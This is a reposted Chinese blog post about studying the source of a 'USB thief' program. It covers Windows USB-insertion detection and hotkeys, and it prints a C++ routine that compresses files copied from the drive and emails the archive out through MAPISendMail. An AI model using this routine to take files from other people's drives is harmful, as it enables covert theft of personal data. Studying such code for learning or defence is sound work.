博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
读"U盘小偷"有感 http://hi.baidu.com/sudami/blog/item/c53b3eec4a019cd22e2e217b.html
阅读量:2401 次
发布时间:2019-05-10

本文共 2476 字,大约阅读时间需要 8 分钟。

嘿嘿,今天终于有时间学习自己喜欢的东西了,在kanxue里看到一篇关于U盘小偷的文章:读了其源码,学到一些东西:

(1) 判断移动设备的插入/拔出

嘿嘿, 以前一直觉得很神秘的"判断是否有U盘插入"其实就是这么一回事!

下面照搬作者本人的注解吧:

要先加头文件#include "dbt.h"

1.Message==WM_DEVICECHANGE
当设备被插入/拔出的时候,WINDOWS会向每个窗体发送WM_DEVICECHANGE 消息,当消息的wParam 值等于 DBT_DEVICEARRIVAL 时,表示Media设备被插入并且已经可用;如果wParam值等于DBT_DEVICEREMOVECOMPLETE,表示Media设备已经被移出。

它们的lParam都指向一个 DEV_BROADCAST_HDR结构体,其原形如下:

typedef struct _DEV_BROADCAST_HDR {

DWORD ;
DWORD ;
DWORD ;
} DEV_BROADCAST_HDR,
*PDEV_BROADCAST_HDR;

这个结构体仅仅是一个“头”(HDR),其后还有附加数据,dbch_size表示结构体实例的字节数,当其中的dbch_devicetype字段值等于DBT_DEVTYP_VOLUME时,表示当前设备是逻辑驱动器,且lParam实际上指向的应该是DEV_BROADCAST_VOLUME 结构体实例

typedef struct _DEV_BROADCAST_VOLUME {

DWORD ;
DWORD ;
DWORD ;
DWORD ;
WORD ;
} DEV_BROADCAST_VOLUME,
*PDEV_BROADCAST_VOLUME;

其中dbcv_unitmask 字段表示当前改变的驱动器掩码,第一位表示驱动器号A,第二位表示驱动器号B,第三位表示驱动器号C,以此类推…… dbcv_flags 表示驱动器的类别,如果等于1,则是光盘驱动器;如果是2,则是网络驱动器;如果是硬盘、U盘则都等于0

(2)设置热键

以前设置热键没有用到 CHotKeyCtrl 这个控件. 今天看了下,发现用起来相当的方便.配合 RegisterHotKey 很实用

(3) 后台压缩文件,发邮件

 

WinRAR的一些命令:

 

 

// 发邮件

// 不知道怎么回是,VC 6.0的编译器出问题了,一复制出来,汉字都是乱码
void CDlg::OnSendMail()
{
if(bCopy)
{
   if(this->OnWinrarPress())
   {
    HMODULE hMod = LoadLibrary("MAPI32.DLL");
   
    ULONG (PASCAL *lpfnSendMail)(ULONG ,ULONG,MapiMessage*,FLAGS,ULONG);
    (FARPROC&)lpfnSendMail=GetProcAddress(hMod,"MAPISendMail");
   
    CString sAddress = this->m_MailAddress;
    CString sName=this->m_CopyPath;
    sName+=".rar";
    MapiRecipDesc recip;
    memset(&recip,0,sizeof(MapiRecipDesc));
    recip.lpszAddress = sAddress.GetBuffer(0);
    recip.ulRecipClass = MAPI_TO;
    recip.lpszName = sAddress.GetBuffer(0);
   
    MapiFileDesc FileDesc;
    memset(&FileDesc,0,sizeof(FileDesc));
    FileDesc.lpszPathName=sName.GetBuffer(0);
    FileDesc.nPosition=(ULONG)-1;
   
    MapiMessage message;
    memset(&message,0,sizeof(message));
    message.nRecipCount = 1;
    message.lpRecips = &recip;
    message.nFileCount = 1;
    message.lpFiles = &FileDesc;
    message.lpszSubject = "Happy Every Day :-)";
    message.lpszNoteText = "XXXXXX";
   
    CWnd *pCurrentWnd = CWnd::GetSafeOwner(NULL,NULL);
   
    int nError = lpfnSendMail(0,0,&message,MAPI_LOGON_UI | MAPI_DIALOG,0);
   
    if(nError != SUCCESS_SUCCESS && nError != MAPI_USER_ABORT
     && nError!= MAPI_E_LOGIN_FAILURE)
    {
     AfxMessageBox(AFX_IDP_FAILED_MAPI_SEND);
    }
   
    pCurrentWnd->SetActiveWindow();
   
    FreeLibrary(hMod);
  
   }
}
}

---------------------------------------- sudami.分割线--------------------------------------------

标记几个API,免得忘了:

SHFileOperation、_splitpath、_makepath

 

 

| 浏览(
55) |  (2) <script language="javascript" type="text/javascript"> /* 
'); if(pre[0]){ document.write('上一篇:    下一篇:  

转载地址:http://apnob.baihongyu.com/

你可能感兴趣的文章
在Win9x/2000下配置Apache1.3.22+Tomcat4.0.1(转)
查看>>
端口大全(转)
查看>>
Java Servlet和JSP教程(10)(转)
查看>>
怎样制作恢复光盘(转)
查看>>
广受青睐的题材---蒸汽朋克[Steampunk](转)
查看>>
怎样在游戏设计制作中实现脚本控制(转)
查看>>
广州一银行偷逃个税300万职员人均补税近万元
查看>>
山西晋中6辆警车围堵太原许西收费站
查看>>
Linux下的压缩文件剖析(转)
查看>>
基础网络命令(转)
查看>>
广域网(WAN)简介(转)
查看>>
DDN综述-1(转)
查看>>
详细定义嵌入式系统(转)
查看>>
linux入门教程(3)(转)
查看>>
动手制作自己的启动盘(转)
查看>>
在Linux中做系统引导盘(转)
查看>>
2.6内核的安装(转)
查看>>
多用户,多语言设置(转)
查看>>
断电后的系统修复(转)
查看>>
Squid优化完全手册(1)(转)
查看>>